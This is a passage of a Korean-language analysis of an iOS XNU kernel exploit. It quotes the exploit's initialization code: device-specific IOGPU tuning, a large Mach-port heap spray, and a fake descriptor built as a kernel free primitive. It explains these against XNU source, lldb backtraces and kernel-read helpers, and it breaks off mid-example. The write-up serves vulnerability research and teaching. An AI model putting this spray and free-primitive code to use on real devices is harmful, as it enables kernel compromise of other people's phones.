<code>exploitation_init<\/code><\/h2>\n<p>\uc81c\uc77c \ucc98\uc74c\uc5d0 <code>IOGPU_get_command_queue_extra_refills_needed<\/code> \ud568\uc218\uac00 \ud638\ucd9c\ub418\ub294\ub370,\n\uc774\ub294 \ub098\uc911\uc5d0 IOGPU\ub97c \ud1b5\ud574 \uc775\uc2a4\ud50c\ub85c\uc787\ud560\ub54c\uc5d0 KHEAP_DEFAULT \ud0c0\uc785\uc73c\ub85c \uc2a4\ud504\ub808\uc774\ub41c \ud3ec\ud2b8\ub97c \ud574\uc81c\ud560 \ub54c \ud544\uc694\ud558\ub2e4. \uc9c0\uae08\uc740 \uc911\uc694\ud558\uc9c0 \uc54a\uc73c\ub2c8 \ub118\uc5b4\uac00\uc790.<\/p>\n<pre><code class=\"language-c\">int exploitation_init(void)\n{\n    \/\/ different by device, retrieve it first and fail if unsuccessful\n    extra_frees_for_device = IOGPU_get_command_queue_extra_refills_needed();\n    if (extra_frees_for_device == -1)\n    {\n        printf(&quot;Exiting early, provide correct number 1-5 in the code for this device to proceed\\n&quot;);\n        return 1;\n    }\n    ...\n    \n    \nint IOGPU_get_command_queue_extra_refills_needed(void)\n{\n    struct utsname u;\n    uname(&amp;u);\n    \n    \/\/ iPhone 7\n    \/\/ iPhone 11\n    \/\/ iPhone 12\n    \/\/ iPhone 13\n    if (\n       strstr(u.machine, &quot;iPhone9,&quot;)\n    || strstr(u.machine, &quot;iPhone12,&quot;)\n    || strstr(u.machine, &quot;iPhone13,&quot;)\n    || strstr(u.machine, &quot;iPhone14,&quot;)\n    )\n    {\n        return 1;\n    }\n    \/\/ iPhone 8, X\n    \/\/ iPhone XS, XR\n    else if (\n       strstr(u.machine, &quot;iPhone10,&quot;)\n    || strstr(u.machine, &quot;iPhone11,&quot;)\n    )\n    {\n        return 3;\n    }\n    \n    printf(&quot;IOGPU_get_command_queue_extra_refills_needed(): Unknown device %s! May panic in generic part until correct number 1-5 is provided for this device!\\n&quot;, u.machine);\n    \n    return -1;\n}\n<\/code><\/pre>\n<p>\ucee4\ub110 \uba54\uc2dc\uc9c0\ub97c \uad6c\uc131\ud560 \ud3ec\ud2b8\uc778 <code>kheap_data_ports<\/code>,\nOOL \ud3ec\ud2b8\ub97c \uc704\ud55c <code>contained_ports<\/code>, <code>ool_ports<\/code> ,\n\uc2a4\ud504\ub808\uc774\ud558\uba74\uc11c \uc4f0\uc5ec\uc9c8 \ub370\uc774\ud130 \uc601\uc5ed\uc778 <code>kheap_data_spray_buf<\/code>\ub97c \uac01\uac01 \uc0dd\uc131\ud55c\ub2e4.<\/p>\n<p>\uc6b0\ub9ac\ub294 \uc2a4\ud504\ub808\uc774\ub97c <code>PORTS_COUNT<\/code>\uc778 0x2A00\ubc88\ub9cc\ud07c \uc218\ud589\ud560 \uac83\uc774\ub2e4.<\/p>\n<pre><code class=\"language-c\">    ...\n    kheap_data_ports = malloc(PORTS_COUNT * sizeof(mach_port_t));\n    kheap_default_ports = malloc(PORTS_COUNT * sizeof(mach_port_t));\n    mach_port_t *contained_ports = malloc(PORTS_COUNT * sizeof(mach_port_t));\n    mach_port_t *ool_ports = malloc(0x4000);\n    uint8_t *kheap_data_spray_buf = malloc(0x4000);\n    memset(kheap_data_ports, 0, PORTS_COUNT * sizeof(mach_port_t));\n    memset(kheap_default_ports, 0, PORTS_COUNT * sizeof(mach_port_t));\n    memset(contained_ports, 0, PORTS_COUNT * sizeof(mach_port_t));\n    memset(ool_ports, 0, 0x4000);\n    memset(kheap_data_spray_buf, 0, 0x4000);\n    ...\n    \n<\/code><\/pre>\n<p>\uc2a4\ud504\ub808\uc774\ud558\uba74\uc11c \uc4f0\uc5ec\uc9c8 \ub370\uc774\ud130 \uc601\uc5ed\uc778 <code>kheap_data_spray_buf<\/code>\uc5d0\ub294 free primitive\ub97c \ud558\uae30 \uc704\ud574 fake descriptor\uac00 \ub4e4\uc5b4\uac04\ub2e4.<\/p>\n<p>\uc774\ub294 \ub098\uc911\uc5d0 msgh_bits\uc5d0 <code>MACH_MSGH_BITS_COMPLEX<\/code>(0x80000000)\uac00 \ud3ec\ud568\ub418\uc5b4 \uc788\ub2e4\uba74,\n\uba54\uc2dc\uc9c0 \uac1d\uccb4\uac00 \ud30c\uad34\ub420 \ub54c \uba54\uc2dc\uc9c0 \ubc84\ud37c \uc2dc\uc791 \ubd80\ubd84\uc5d0 \uc788\ub294 \u2018descriptors\u2019\uac00 \ucee4\ub110 \uc8fc\uc18c\ub85c \ucde8\uae09\ub418\uc5b4 \ud574\uc81c\ub418\uac8c \ub9cc\ub4e4\uae30 \uc704\ud574\uc11c\uc774\ub2e4.<\/p>\n<pre><code class=\"language-c\">    ...\n    \/\/ fake descriptor for free primitive\n    *(uint32_t *)(kheap_data_spray_buf + sizeof(mach_msg_header_t)) = 1;\n    *(uint64_t *)(kheap_data_spray_buf + sizeof(mach_msg_header_t) + sizeof(uint32_t)) = KHEAP_DEFAULT_MAPPABLE_LOC; \/\/ free primitive target\n    *(uint64_t *)(kheap_data_spray_buf + sizeof(mach_msg_header_t) + sizeof(uint32_t) + sizeof(uint64_t)) = 0x000007F802110000; \/\/ disposition, size, etc\n    \/\/ align a pointer here so that when the kmsg trailer size is corrupted, this pointer\n    \/\/ will after that be followed and a second bytecopy performed where it points (kmsg message bits)\n    *(uint64_t *)(kheap_data_spray_buf + 0x3F64) = BYTECOPY_SECOND_TARGET;\n<\/code><\/pre>\n<p>\ubcf8\uaca9\uc801\uc73c\ub85c \ud799 \uc2a4\ud504\ub808\uc774\uac00 \uc218\ud589\ub41c\ub2e4.<\/p>\n<p><code>port_new<\/code> \ub97c \ud1b5\ud574 \uc0c8\ub85c\uc6b4 Mach \ud3ec\ud2b8\ub97c \uc0dd\uc131\ud55c\ub2e4.\n\uc0dd\uc131\ub41c \ud3ec\ud2b8\ub97c \uc774\uc6a9\ud574 <code>spray_default_kalloc_ool_ports<\/code> ,  <code>spray_data_kalloc_kmsg_single<\/code>\ub97c \ud638\ucd9c\ud558\uc5ec \ucee4\ub110 \ud398\uc774\uc9c0 \ud06c\uae30\uc778 0x4000\ub9cc\ud07c \ucee4\ub110 \uba54\ubaa8\ub9ac\ub97c \ud560\ub2f9\ud558\uac8c\ub420 \uac83\uc774\ub2e4.<\/p>\n<p>\uc5ec\uae30\uc11c <code>spray_default_kalloc_ool_ports<\/code>\ub294 KHEAP_DEFAULT \ud0c0\uc785\uc73c\ub85c , <code>spray_data_kalloc_kmsg_single<\/code>\ub294 KHEAP_DATA_BUFFERS \ud0c0\uc785\uc73c\ub85c \uc2a4\ud504\ub808\uc774\ub41c\ub2e4.<\/p>\n<p>\ud574\ub2f9 <code>port_new<\/code>, <code>spray_default_kalloc_ool_ports<\/code>, <code>spray_data_kalloc_kmsg_single<\/code> \ud568\uc218\ub4e4\uc774 \uc5b4\ub5bb\uac8c \uc218\ud589\ub418\ub294\uc9c0 \uc0b4\ud3b4\ubcf4\uba74\uc11c XNU \uc18c\uc2a4\ucf54\ub4dc\uae4c\uc9c0 \ud55c\ubc88 \uc0b4\ud3b4\ubcf4\uaca0\ub2e4.<\/p>\n<pre><code class=\"language-c\">#define KMSG_SIZE 0x3F80 \/\/ the low 0x80 byte of this size will be copied to corrupt the message bits (setting 0x80000000, MACH_MSGH_BITS_COMPLEX)\n    ...\n    \/\/ spray large sprays to map  KHEAP_DATA_MAPPABLE_LOC and KHEAP_DEFAULT_MAPPABLE_LOC\n    for (int i = 0; i &lt; PORTS_COUNT; ++i)\n    {\n        \/\/ KHEAP_DEFAULT\n        *ool_ports = port_new();\n        contained_ports[i] = *ool_ports;\n        mach_port_t *pp = spray_default_kalloc_ool_ports(0x4000, 1, ool_ports);\n        kheap_default_ports[i] = pp[0];\n        free(pp);\n        \n        \/\/ KHEAP_DATA_BUFFERS\n        kheap_data_ports[i] = spray_data_kalloc_kmsg_single(kheap_data_spray_buf, KMSG_SIZE);\n    }\n<\/code><\/pre>\n<h2>1-1. <code>port_new()<\/code><\/h2>\n<p>\uba3c\uc800 <code>port_new<\/code> \ud568\uc218\ub97c \uc0b4\ud3b4\ubcf4\uc790.<\/p>\n<p><code>MPO_INSERT_SEND_RIGHT<\/code> \ud50c\ub798\uadf8, \uadf8\ub9ac\uace0 \ud604\uc7ac \ud0dc\uc2a4\ud06c\uc758 \ucee4\ub110 \ud3ec\ud2b8\uc5d0 \ub300\ud55c \uc1a1\uc2e0 \uad8c\ud55c \uc774\ub984(send right name)\uc744 \uc758\ubbf8\ud558\ub294 <code>mach_task_self()<\/code>\uc640 \ud568\uaed8 <code>mach_port_construct<\/code> \ud568\uc218\ub97c \ud638\ucd9c\ud55c\ub2e4.<\/p>\n<pre><code class=\"language-c\">mach_port_t port_new(void)\n{\n    mach_port_options_t options = { .flags = MPO_INSERT_SEND_RIGHT };\n    mach_port_t port;\n    \n    mach_port_construct(mach_task_self(), &amp;options, 0, &amp;port);\n    \n    return port;\n}\n\ntypedef struct mach_port_options {\n\tuint32_t                flags;\n\tmach_port_limits_t      mpl;            \/* Message queue limit for port *\/\n\tunion {\n\t\tuint64_t                   reserved[2];           \/* Reserved *\/\n\t\tmach_port_name_t           work_interval_port;    \/* Work interval port *\/\n\t\tmach_service_port_info_t   service_port_info;     \/* Service port (MPO_SERVICE_PORT) *\/\n\t\tmach_port_name_t           service_port_name;     \/* Service port (MPO_CONNECTION_PORT) *\/\n\t};\n}mach_port_options_t;\n<\/code><\/pre>\n<h3><code>mach_port_construct<\/code><\/h3>\n<p><code>mach_port_construct<\/code> \ud568\uc218\ub97c \uc0b4\ud3b4\ubcf4\uba74 (osfmk\/ipc\/mach_port.c:2413),\n\ub0b4\ubd80\uc801\uc73c\ub85c <code>init_flags<\/code>\uc5d0 <code>IP_INIT_MAKE_SEND_RIGHT<\/code>\uac00 \uc138\ud2b8\ub428\uc73c\ub85c\uc368 \uc1a1\uc2e0 \uad8c\ud55c(Send Right)\uc774 \ubd80\uc5ec\ub41c\ub2e4. <code>IP_INIT_MAKE_SEND_RIGHT<\/code>\uac00 \uc138\ud2b8\ub41c <code>init_flags<\/code>\uac12\uc740 <code>ipc_port_alloc<\/code>\ub97c \ud638\ucd9c\ud560\ub584\uc5d0 flags\uc758 \uc778\uc790\ub85c \ub4e4\uc5b4\uac00\uba74\uc11c \uc0c8\ub85c\uc6b4 Mach \ud3ec\ud2b8\uac00 \uc0dd\uc131\ub41c\ub2e4. \uc989, \uc218\uc2e0 \uad8c\ud55c(Receive Right)\ubfd0\ub9cc \uc544\ub2c8\ub77c \uc1a1\uc2e0 \uad8c\ud55c(Send Right)\ub3c4 \ud68d\ub4dd\ud560 \uc218 \uc788\uac8c \uc0c8\ub85c\uc6b4 Mach \ud3ec\ud2b8\ub97c \uc0dd\uc131\ud588\ub2e4\uace0 \ubcf4\uba74 \ub420 \uac83\uc774\ub2e4.<\/p>\n<pre><code class=\"language-c\">kern_return_t\nmach_port_construct(\n\tipc_space_t             space,\n\tmach_port_options_t     *options,\n\tuint64_t                context,\n\tmach_port_name_t        *name)\n{\n\tkern_return_t           kr;\n\tipc_port_t              port;\n\tipc_port_init_flags_t   init_flags = IPC_PORT_INIT_MESSAGE_QUEUE;\n\tvoid *port_splabel = NULL;\n\tbool filter_msgs = FALSE;\n\tstruct mach_service_port_info sp_info = {};\n\tsize_t sp_name_length = 0;\n\tuser_addr_t service_port_info = 0;\n\n\t\/\/...\n\tif (options-&gt;flags &amp; MPO_INSERT_SEND_RIGHT) {\n\t\tinit_flags |= IPC_PORT_INIT_MAKE_SEND_RIGHT;\n\t}\n\n\t\/\/...\n\t\/* Allocate a new port in the IPC space *\/\n\tkr = ipc_port_alloc(space, init_flags, name, &amp;port);\n\tif (kr != KERN_SUCCESS) {\n\t\tif (port_splabel != NULL) {\n\t\t\tipc_service_port_label_dealloc(port_splabel,\n\t\t\t    (options-&gt;flags &amp; MPO_SERVICE_PORT));\n\t\t}\n\t\treturn kr;\n\t}\n\n\t\/* Port locked and active *\/\n\tif (port_splabel != NULL) {\n\t\tport-&gt;ip_service_port = (bool)(options-&gt;flags &amp; MPO_SERVICE_PORT);\n\t\tport-&gt;ip_splabel = port_splabel;\n\t}\n\n\t\/\/...\n\t\tport-&gt;ip_context = context;\n\t\tif (options-&gt;flags &amp; MPO_SERVICE_PORT) {\n\t\t\tipc_service_port_label_set_attr(port_splabel, *name, 0);\n\t\t}\n\t\/\/...\n\n\t\/* Unlock port *\/\n\tip_mq_unlock(port);\n\n\t\/\/...\n\treturn KERN_SUCCESS;\n\ncleanup:\n\t\/* Attempt to destroy port. If its already destroyed by some other thread, we're done *\/\n\t(void) mach_port_destruct(space, *name,\n\t    (options-&gt;flags &amp; MPO_INSERT_SEND_RIGHT) ? -1 : 0, context);\n\treturn kr;\n}\n<\/code><\/pre>\n<h2>1-2. <code>spray_default_kalloc_ool_ports(0x4000, 1, ool_ports)<\/code><\/h2>\n<p>KHEAP_DEFAULT \ud0c0\uc785\uc73c\ub85c OOL \ud3ec\ud2b8\ub97c \uc2a4\ud504\ub808\uc774\ud558\ub294 \ucf54\ub4dc\uc774\ub2e4. \uc2e4\uc9c8\uc801\uc73c\ub85c <code>spray_default_kalloc_ool_ports_with_data_kalloc_size(0x4000, 1, ool_ports, 0x4000);<\/code>\uc744 \ud638\ucd9c\ud558\uba70, \uac70\uae30\uc11c <code>mach_msg_send<\/code> \ud568\uc218\ub97c \ud1b5\ud574 \ubcf4\ub0bc \uba54\uc2dc\uc9c0\ub97c \uad6c\uc131\ud55c\ub2e4.<\/p>\n<p>\uba54\uc2dc\uc9c0\ub97c \uad6c\uc131\ud558\ub294 \uc911 \ub204\uad6c\ud55c\ud14c \ubcf4\ub0b4\uc9c8\uc9c0\ub97c \uc9c0\uc815\ud558\ub294 \ud3ec\ud2b8 \uc774\ub984\uc778 <code>msgh_remote_port<\/code> \ud544\ub4dc\ub97c \uc0b4\ud3b4\ubcf4\uba74, <code>MPO_INSERT_SEND_RIGHT<\/code> \uc635\uc158\uacfc \ud568\uaf10 <code>mach_port_construct<\/code> \ud568\uc218\ub97c \ud1b5\ud574 \uc0dd\uc131\ub41c \ud3ec\ud2b8\ub85c \uc9c0\uc815\ub418\uc788\ub2e4.<\/p>\n<p>\uac01 \uad6c\uc131 \uc124\uc815\ub4e4\uc744 \uac04\ub7b5\ud788 \ubcf4\uc790\uba74,<\/p>\n<ul>\n<li><code>msg-&gt;hdr.msgh_bit<\/code> &#8211; \uc218\uc2e0\uc790\uc5d0\uac8c \uc1a1\uc2e0 \uad8c\ud55c\uc744 \ubd80\uc5ec\ud558\uae30 \uc704\ud574 <code>MACH_MSGH_BITS(MACH_MSG_TYPE_MAKE_SEND, 0)<\/code>\ub85c \ud574\ub450\uace0,  \uba54\uc2dc\uc9c0 \ubcf8\ubb38\uc5d0 \ucd94\uac00\uc801\uc778 \ud3ec\ud2b8 \uad8c\ud55c(port rights)\uc774\ub098 <strong>out-of-line \uba54\ubaa8\ub9ac \uc601\uc5ed<\/strong>\uc774 \ud3ec\ud568\ub418\uc788\uc744 \uacbd\uc6b0 <code>MACH_MSGH_BITS_COMPLEX<\/code>  \ud50c\ub798\uadf8\uac00 \ud544\uc694\ud558\uae30\uc5d0 \uac19\uc774 \uc9c0\uc815\ud574\ub450\uc5c8\ub2e4.<\/li>\n<li><code>msg-&gt;desc.type<\/code> &#8211; \uba54\uc2dc\uc9c0\uc5d0\uc11c OOL \ud3ec\ud2b8 \ubc30\uc5f4\uc744 \ubcf4\ub0b4\ub294 \uc124\uba85\uc790\uc778 <code>MACH_MSG_OOL_PORTS_DESCRIPTOR<\/code> \uac00 \uc9c0\uc815\ub418\uc788\ub2e4.<\/li>\n<\/ul>\n<pre><code class=\"language-c\">mach_port_t *spray_default_kalloc_ool_ports(unsigned int size, unsigned int count, mach_port_t *ool_ports)\n{\n    return spray_default_kalloc_ool_ports_with_data_kalloc_size(size, count, ool_ports, 0x4000);\n}\n\nmach_port_t *spray_default_kalloc_ool_ports_with_data_kalloc_size(unsigned int size, unsigned int count, mach_port_t *ool_ports, unsigned int data_kalloc_size)\n{\n    struct default_msg\n    {\n        mach_msg_header_t hdr;\n        mach_msg_body_t body;\n        mach_msg_ool_ports_descriptor_t desc;\n    };\n    \n    mach_port_t *ports = calloc(sizeof(mach_port_t), count);\n    mach_port_options_t options = { .flags = MPO_INSERT_SEND_RIGHT };\n    struct default_msg *msg = (struct default_msg *)calloc(1, 0x100);\n    \n    msg-&gt;hdr.msgh_bits = MACH_MSGH_BITS(MACH_MSG_TYPE_MAKE_SEND, 0);\n    msg-&gt;hdr.msgh_bits  |= MACH_MSGH_BITS_COMPLEX;\n    msg-&gt;hdr.msgh_size = data_kalloc_size;\n    msg-&gt;body.msgh_descriptor_count = 1;\n    \n    msg-&gt;desc.deallocate = 0;\n    msg-&gt;desc.type = MACH_MSG_OOL_PORTS_DESCRIPTOR;\n    msg-&gt;desc.copy = MACH_MSG_VIRTUAL_COPY;\n    msg-&gt;desc.disposition = MACH_MSG_TYPE_COPY_SEND;\n    msg-&gt;desc.count = size\/8;\n    msg-&gt;desc.address = (void *)ool_ports;\n    \n    for (unsigned int i = 0; i &lt; count; ++i)\n    {\n        mach_port_construct(mach_task_self(), &amp;options, 0, &amp;ports[i]);\n    }\n    \n    for (unsigned int i = 0; i &lt; count; ++i)\n    {\n        msg-&gt;hdr.msgh_remote_port = ports[i];\n        kern_return_t kr = mach_msg_send((mach_msg_header_t *)msg);\n        if (kr) {\n            *(int *)1 = 0;\n        }\n    }\n    \n    free(msg);\n\n    return ports;\n}\n<\/code><\/pre>\n<h3><code>mach_msg_send<\/code><\/h3>\n<p><code>mach_msg_send<\/code> \ud568\uc218\ub294 \ub0b4\ubd80\uc801\uc73c\ub85c \ucee4\ub110\uc758 <code>mach_msg_overwrite_trap<\/code> \ud568\uc218\ub97c \ud638\ucd9c\ud55c\ub2e4. (<a href=\"https:\/\/github.com\/apple-oss-distributions\/xnu\/blob\/xnu-8019.41.5\/osfmk\/ipc\/mach_msg.c#L319\">osfmk\/ipc\/mach_msg.c#L319<\/a>)<\/p>\n<p>\ubcf4\ub0b4\ub294 \uba54\uc2dc\uc9c0 \uad6c\uc131\uc774 <code>MACH_MSG_TYPE_MAKE_SEND<\/code>\uc774 \ud3ec\ud568\ub418\uc788\uc73c\ubbc0\ub85c,\n<code>if (option &amp; MACH_SEND_MSG) {<\/code> \ubb38 \ucf54\ub4dc\ubd80\ud130 \ucc28\ub840\ub300\ub85c \uc0b4\ud3b4\ubcf4\uba74 \uc544\ub798\uc758 \ud568\uc218\ub4e4\uc744 \uc21c\uc11c\ub300\ub85c \ud638\ucd9c\ud55c\ub2e4.<\/p>\n<ol>\n<li>\ucee4\ub110 \uba54\uc2dc\uc9c0 \ubc84\ud37c\ub97c \ud560\ub2f9\ud558\uace0 \uc0ac\uc6a9\uc790 \uba54\uc2dc\uc9c0\ub97c \uba54\uc2dc\uc9c0 \ubc84\ud37c\ub85c \ubcf5\uc0ac\ud574\uc8fc\ub294 <code>ipc_kmsg_get_from_user<\/code><\/li>\n<li>\uba54\uc2dc\uc9c0 \ub0b4\uc758 \ud3ec\ud2b8 \uad8c\ud55c(port rights)\uacfc  OOL \uba54\ubaa8\ub9ac\ub97c copy-in\ud574\uc8fc\ub294 <code>ipc_kmsg_copyin_from_user<\/code><\/li>\n<li>\uadf8\ub9ac\uace0 <code>msgh_remote_port<\/code> \ud544\ub4dc \ub0b4\uc5d0 \ub300\uc0c1 \ud3ec\ud2b8\uc5d0 \ub300\ud55c \ucc38\uc870(reference)\ub97c \ubcf4\uc720\ud55c \uba54\uc2dc\uc9c0\ub97c \uc804\uc1a1\ud558\ub294 <code>ipc_kmsg_send<\/code><\/li>\n<\/ol>\n<pre><code class=\"language-c\">mach_msg_return_t\nmach_msg_overwrite_trap(\n\tstruct mach_msg_overwrite_trap_args *args)\n{\n\tmach_vm_address_t       msg_addr = args-&gt;msg;\n\tmach_msg_option_t       option = args-&gt;option;\n\tmach_msg_size_t         send_size = args-&gt;send_size;\n\tmach_msg_size_t         rcv_size = args-&gt;rcv_size;\n\tmach_port_name_t        rcv_name = args-&gt;rcv_name;\n\tmach_msg_timeout_t      msg_timeout = args-&gt;timeout;\n\tmach_msg_priority_t     priority = args-&gt;priority;\n\tmach_vm_address_t       rcv_msg_addr = args-&gt;rcv_msg;\n\t__unused mach_port_seqno_t temp_seqno = 0;\n\n\tmach_msg_return_t  mr = MACH_MSG_SUCCESS;\n\tvm_map_t map = current_map();\n\n\t\/*\n\t * Only accept options allowed by the user.  Extract user-only options up\n\t * front, as they are not included in MACH_MSG_OPTION_USER.\n\t *\/\n\tbool filter_nonfatal = (option &amp; MACH_SEND_FILTER_NONFATAL);\n\n\toption &amp;= MACH_MSG_OPTION_USER;\n\n\tif (option &amp; MACH_SEND_MSG) {\n\t\tipc_space_t space = current_space();\n\t\tipc_kmsg_t kmsg;\n\n\t\tmr = ipc_kmsg_get_from_user(msg_addr, send_size, &amp;kmsg);\n\n\t\tif (mr != MACH_MSG_SUCCESS) {\n\t\t\treturn mr;\n\t\t}\n\n\t\tmr = ipc_kmsg_copyin_from_user(kmsg, space, map, priority, &amp;option,\n\t\t    filter_nonfatal);\n\n\t\tif (mr != MACH_MSG_SUCCESS) {\n\t\t\tipc_kmsg_free(kmsg);\n\t\t\tgoto end;\n\t\t}\n\n\t\tmr = ipc_kmsg_send(kmsg, option, msg_timeout);\n\n\t\tif (mr != MACH_MSG_SUCCESS) {\n\t\t\t\/\/...\n\t\t\tgoto end;\n\t\t}\n\t}\n\t\/\/...\n\nend:\n\tipc_port_thread_group_unblocked();\n\treturn mr;\n}\n<\/code><\/pre>\n<h2>1-3. <code>spray_data_kalloc_kmsg_single(kheap_data_spray_buf, KMSG_SIZE)<\/code><\/h2>\n<p>KHEAP_DATA_BUFFERS \ud0c0\uc785\uc73c\ub85c kmsg\ub97c \uc2a4\ud504\ub808\uc774\ud558\ub294 \ucf54\ub4dc\uc774\ub2e4.\n\uc774\uc804\uc5d0 OOL \ud3ec\ud2b8 \uc2a4\ud504\ub808\uc774\ud560\ub54c\ubcf4\ub2e4 <code>mach_msg_send<\/code> \ud568\uc218\ub97c \ud1b5\ud574 \ubcf4\ub0bc \uba54\uc2dc\uc9c0\ub97c \uad6c\uc131 \uc124\uc815\ud560\uac8c \ube44\uad50\uc801 \uc5c6\ub2e4.<\/p>\n<pre><code class=\"language-c\">mach_port_t spray_data_kalloc_kmsg_single(uint8_t *data, unsigned int size)\n{\n    mach_port_t port = MACH_PORT_NULL;\n    mach_port_options_t options = { .flags = MPO_INSERT_SEND_RIGHT };\n    mach_msg_header_t *msg = (mach_msg_header_t *)data;\n    \n    memset(msg, 0, sizeof(mach_msg_header_t));\n    msg-&gt;msgh_bits = MACH_MSGH_BITS(MACH_MSG_TYPE_MAKE_SEND, 0);\n    msg-&gt;msgh_size = size;\n    \n    mach_port_construct(mach_task_self(), &amp;options, 0, &amp;port);\n\n    msg-&gt;msgh_remote_port = port;\n    mach_msg_send(msg);\n    \n    return port;\n}\n<\/code><\/pre>\n<h2>1-4. \ucee4\ub110\uc5d0 \uc2a4\ud504\ub808\uc774\ub41c \ub370\uc774\ud130 \uc0b4\ud3b4\ubcf4\uae30<\/h2>\n<h3>OOL \ud3ec\ud2b8 \uc2a4\ud504\ub808\uc774\ub418\uba74\uc11c \ud3ec\ud2b8 \ub514\uc2a4\ud06c\ub9bd\ud130 \ubc30\uc5f4\uc8fc\uc18c \uc54c\uc544\ub0b4\uae30 (KHEAP_DEFAULT)<\/h3>\n<p><code>spray_default_kalloc_ool_ports<\/code> \ud568\uc218\ub97c \ud55c\ubc88 \uc218\ud589\ud588\uc744\ub584\n\uc544\ub798\uc640 \uac19\uc774 \uc5ec\ub7ec \ud568\uc218\ub4e4\uc744 \uac70\uccd0 <code>ipc_kmsg_copyin_ool_ports_descriptor<\/code>\uc5d0\uc11c \ucee4\ub110\ud799\uc744 \ud560\ub2f9\ud558\ub824\ub294 \uac83\uc744 \uc54c \uc218 \uc788\uc5c8\ub2e4.<\/p>\n<pre><code class=\"language-c\">(lldb) bt\n...\n            frame #6: 0xfffffe00287e8974 kernel.release.vmapple`kalloc_ext(kheap=&lt;unavailable&gt;, req_size=16384, flags=&lt;unavailable&gt;, site=&lt;unavailable&gt;) at kalloc.c:1730:9 [opt] \/\/called from FFFFFE00072122B4 (no slide) \n            frame #7: 0xfffffe00287b62b8 kernel.release.vmapple`ipc_kmsg_copyin_ool_ports_descriptor(dsc=0xfffffe150e8b5b84, user_dsc=0xfffffe150e8b5b94, is_64bit=&lt;unavailable&gt;, map=0xfffffe002c8e77d0, space=0xfffffe150db98380, dest=0xfffffe1510ffae40, kmsg=&lt;unavailable&gt;, optionp=0xfffffe6019b63d34, mr=&lt;unavailable&gt;) at ipc_kmsg.c:3443:9 [opt] [inlined]\n            frame #8: 0xfffffe00287b6274 kernel.release.vmapple`ipc_kmsg_copyin_body(kmsg=&lt;unavailable&gt;, space=&lt;unavailable&gt;, map=0xfffffe002c8e77d0, optionp=0xfffffe6019b63d34) at ipc_kmsg.c:3831:16 [opt]\n            frame #9: 0xfffffe00287b5ea0 kernel.release.vmapple`ipc_kmsg_copyin_from_user(kmsg=&lt;unavailable&gt;, space=&lt;unavailable&gt;, map=&lt;unavailable&gt;, priority=&lt;unavailable&gt;, optionp=&lt;unavailable&gt;, filter_nonfatal=&lt;unavailable&gt;) at ipc_kmsg.c:3971:8 [opt]\n            frame #10: 0xfffffe00287cc29c kernel.release.vmapple`mach_msg_overwrite_trap(args=&lt;unavailable&gt;) at mach_msg.c:362:8 [opt]\n            frame #11: 0xfffffe00288f9b2c kernel.release.vmapple`mach_syscall(state=0xfffffe1510f6ddd0) at bsd_arm64.c:276:11 [opt]\n            frame #12: 0xfffffe0028902e78 kernel.release.vmapple`handle_svc(state=0xfffffe1510f6ddd0) at sleh.c:2411:3 [opt] [inlined]\n            frame #13: 0xfffffe0028902e0c kernel.release.vmapple`sleh_synchronous(context=0xfffffe1510f6ddd0, esr=&lt;unavailable&gt;, far=5368741888) at sleh.c:743:3 [opt]\n            frame #14: 0xfffffe002879479c kernel.release.vmapple`fleh_synchronous + 40\n            frame #15: 0x00000001a5721954\n            frame #16: 0x000000010004a168 \/\/ called _mach_msg_send from _spray_default_kalloc_ool_ports_with_data_kalloc_size (exp)\n            frame #17: 0x00000001000489e8 \/\/ called _spray_default_kalloc_ool_ports from _exploitation_init\n            frame #18: 0x0000000100048dbc \/\/ called _exploitation_init from _exploit_get_krw_and_kernel_base\n            frame #19: 0x0000000100048ebc \/\/ called _exploit_get_krw_and_kernel_base from _main\n            frame #20: 0x00000001001b50f4 \n<\/code><\/pre>\n<p>\uadf8\ub807\ub2e4\uba74 \ud560\ub2f9\ub41c \uc8fc\uc18c\ub294 \uc5b4\ub5bb\uac8c \uc54c\uc544\ub0bc \uc218 \uc788\uc744\uae4c?<\/p>\n<p><code>kheap_default_ports<\/code> \ubc30\uc5f4\uc5d0\ub294 \uc2a4\ud504\ub808\uc774\ud588\ub358 \uba54\uc2dc\uc9c0 \uad6c\uc131 \uc911 \ub204\uad6c\ud55c\ud14c \ubcf4\ub0b4\uc9c8\uc9c0\ub97c \uc9c0\uc815\ud558\ub294 <code>msgh_remote_port<\/code> \ud3ec\ud2b8\ub4e4\uc774 \ub2f4\uaca8\uc788\ub2e4.\n\ud574\ub2f9 \ud3ec\ud2b8\ub4e4 \uc911 0\ubc88\uca30 \uc778\ub371\uc2a4, \uc989 \ucc98\uc74c \uc2a4\ud504\ub808\uc774\ud55c \ud3ec\ud2b8\ub97c \ucc38\uace0\ud558\uc5ec \ucee4\ub110\uc758 <code>ipc_port<\/code> \uad6c\uc870\uccb4 \uc8fc\uc18c\ubd80\ud130 \uc54c\uc544\ub0b4\ubcf4\uc790.<\/p>\n<pre><code class=\"language-c\">uint64_t proc_task(uint64_t proc) {\n    uint64_t task = tfp0_kread64(proc + off_p_task);\n    return task;\n}\n\nuint64_t task_self_addr(void) {\n    uint64_t proc = proc_of_pid(getpid());\n    uint64_t task = proc_task(proc);\n    return task;\n}\n\n...\n\nuint64_t find_port(mach_port_name_t port) {\n    uint64_t task_addr = task_self_addr();\n    \n    uint64_t itk_space = kextrw_kreadptr(task_addr + off_task_itk_space);\n    \n    uint64_t is_table = kextrw_kreadptr(itk_space + off_ipc_space_is_table);\n    \n    uint32_t port_index = port &gt;&gt; 8;\n    const int sizeof_ipc_entry_t = 0x18;\n    \n    uint64_t port_addr = kextrw_kreadptr(is_table + (port_index * sizeof_ipc_entry_t));\n    return port_addr;\n}\n<\/code><\/pre>\n<p>\uadf8\ub9ac\uace0 \ud655\uc778\ud574\ubcf4\uba74, \ub2e4\uc74c\uacfc \uac19\ub2e4.<\/p>\n<p><code>find_port(kheap_default_ports[0]) = 0xfffffe15117b000<\/code><\/p>\n<p><code>ipc_port_t<\/code> \uc8fc\uc18c\uc778 <code>0xfffffe15117b000<\/code>\ubd80\ud130 \uc2dc\uc791\ud5e4\uc11c <code>ikmq_base<\/code> \ud544\ub4dc\ub97c \ub530\ub77c\uac00\uba74, <code>ipc_kmsg<\/code> \uad6c\uc870\uccb4 \uc8fc\uc18c\uac00 \ud68d\ub4dd\ud560 \uc218 \uc788\ub2e4. \uc5ec\uae30\uc11c <code>ikm_header<\/code> \ud544\ub4dc\ub97c \ub530\ub77c\uac00\uba74 <code>mach_msg_header_t<\/code> \uad6c\uc870\uccb4 \uc8fc\uc18c\ub97c \ud68d\ub4dd\ud560 \uc218 \uc788\ub2e4.<\/p>\n<pre><code class=\"language-c\">(lldb) p\/x 